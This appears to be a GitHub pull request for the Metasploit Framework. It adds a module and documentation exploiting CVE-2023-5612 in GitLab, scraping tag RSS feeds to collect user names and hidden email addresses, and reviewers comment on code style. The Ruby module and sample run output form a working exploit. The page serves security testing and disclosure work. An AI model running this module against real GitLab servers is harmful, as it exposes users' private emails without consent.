Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

module for gitlab public email disclosure CVE-2023-5612 #18821

Merged
merged 7 commits into from
Mar 6, 2024
Merged
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,71 @@
## Vulnerable Application

Information disclosure affecting all versions of GitLab
before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1
by sending a GET request to the project URI and appending "-/tags"

## Verification Steps

### Docker installation instructions can be found here:

https://docs.gitlab.com/ee/install/docker.html

Once installed, create a project. Once the projecte is
created, add a new tag by expanding the Code menu item
on the left, then selecting Tags. Then click on the
New Tag button in the top right corner.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Move this block under Vulnerable Applications block, after the description paragraph



1. Install the application
1. Start msfconsole
1. Do: `use [module path]`
1. Do: `set RHOSTS [IP]`
1. Do: `run`
1. You should receive output with user names and email addresses assocaited with project tags

## Options
By default the `TARGETPROJECT` option is empty. This will gather information for ALL PUBLICLY ACCESSIBLE PROJECTS. If you
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should be a H3 item like:

### TARGETPROJECT

This will gather information for ALL PUBLICLY ACCESSIBLE PROJECTS. If you know the specific project you would like to target, you would need to set that here. Defaults to empty.

know the specific project you would like to target, you would need to set that here.


## Scenarios
### Scrape all Workspaces/Projects
```
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run
[*] Running module against 127.0.0.1

[+] [2024.02.09-11:18:23] Scraping ALL projects...
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project1
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__010524.xml
[+] [2024.02.09-11:18:23] name: john doe
[+] [2024.02.09-11:18:23] e-mail: [email protected]
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project2
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__822263.xml
[+] [2024.02.09-11:18:23] name: janedoe
[+] [2024.02.09-11:18:23] e-mail: [email protected]
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws2/proj1
[-] [2024.02.09-11:18:23] No tags or authors found
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj1
[-] [2024.02.09-11:18:23] No tags or authors found
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj2
[-] [2024.02.09-11:18:23] No tags or authors found
[*] Auxiliary module execution completed
```
### Specify Project
```
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set TARGETPROJECT Workspace1/Project1
TARGETPROJECT => Workspace1/Project1
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run
[*] Running module against 127.0.0.1

[*] [2024.02.09-11:44:43] Check RSS tags feed for: Workspace1/Project1
[+] [2024.02.09-11:44:43] Output saved to /root/.msf4/loot/20240209114443_default_127.0.0.1_gitlab.RSS.info__390983.xml
[+] [2024.02.09-11:44:43] name: janedoe
[+] [2024.02.09-11:44:43] e-mail: [email protected]
[*] Auxiliary module execution completed
```
115 changes: 115 additions & 0 deletions modules/auxiliary/gather/gitlab_tags_rss_feed_email_disclosure.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,115 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLab Tags RSS feed email disclosure',
'Description' => %q{
An issue has been discovered in GitLab affecting all versions
before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1.
It is possible to read the user email address via tags feed
although the visibility in the user profile has been disabled.
},
'License' => MSF_LICENSE,
'Author' => [
'n00bhaxor', # msf module
'erruquill' # HackerOne Bug Bounty, analysis
],
'References' => [
[ 'URL', 'https://gitlab.com/gitlab-org/gitlab/-/issues/428441' ],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is returning a 404 for me currently

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

looks like this was linked in the CVE report, but is now gone, and archive.org didn't catch it.

I think replacing with this may work: https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/

[ 'URL', 'https://hackerone.com/reports/2208790'],
[ 'CVE', '2023-5612']
],
'DisclosureDate' => '2024-01-25',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of the GitLab Application', '/']),
OptString.new('TARGETPROJECT', [ false, 'Workspace and project to target', nil])
]
)
end

def get_contents(tags)
print_status('Check RSS tags feed for: ' + tags)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

vprint_status("Check RSS tags feed for: #{tags}")

I chose vprint here so that someone who just wants to copy/paste the username/emails will have that option and not the cruft in between


# Tag needs to be lower case, so...
tags = tags.split('/')[0] + '/' + tags.split('/')[1].downcase
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

tags = "#{tags.split('/')[0]}/#{tags.split('/')[1].downcase}"


res = send_request_cgi(
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We should check to ensure res does not get returned as nil

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?

'uri' => normalize_uri(target_uri.path, tags, '-', 'tags'),
'method' => 'GET', 'vars_get' => { 'format' => 'atom' }
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

add a newline after the comma to make this easier to read

)

fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 200 || res.code == 301
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

is this correct since the module doesn't take credentials?


xml_res = res.get_xml_document

# Check to see if there are any tags with authors
author_element = 'author'
not_found = xml_res.xpath("//xmlns:#{author_element}").empty?
if not_found
print_bad('No tags or authors found')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We can make this a little easier to read:

if not_found
  vprint_bad('No tags or authors found')
  return
end

now we can get rid of the else (and end), and un-indent 1 level.

else
loot_path = store_loot('gitlab.RSS.info_disclosure', 'application/xml', datastore['RHOST'], xml_res, 'tag_author_info.xml')
print_good("Output saved to #{loot_path}")

# Initialze an empty set so we can dedupe authors based on email address
# This only dedupes within a project, not the entirety of Gitlab,
# so forks of projects may show duplicate email addresses.
unique_emails = Set.new

xml_res.xpath('//xmlns:author').each do |authors|
email = authors.at_xpath('xmlns:email').text
next if unique_emails.include?(email)

name = authors.at_xpath('xmlns:name').text
print_good("name: #{name}")
print_good("e-mail: #{email}")
unique_emails << email
end
end
end

def run
if datastore['TARGETPROJECT'].nil?
print_good('Scraping ALL projects...')
request = {
'uri' => normalize_uri(target_uri.path, '/api/v4/projects'),
'method' => 'GET', 'vars_get' => {
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

add a newline after the comma to make it a little easier to read

'output_mode' => 'json'
}
}

res = send_request_cgi(request)

fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 200

res.get_json_document.each do |entry|
tags = entry['path_with_namespace']
get_contents(tags)
end

else
get_contents(datastore['TARGETPROJECT'].to_s)
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I would re-arrange this, similar to above.

unless datastore['TARGETPROJECT'].nil?
  get_contents(datastore['TARGETPROJECT'].to_s)
  return
end

then you can remove the else (and trailing end), and unindent by 1 level

rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This can be removed, its from the webapp template which needs to be updated.

end
end
Loading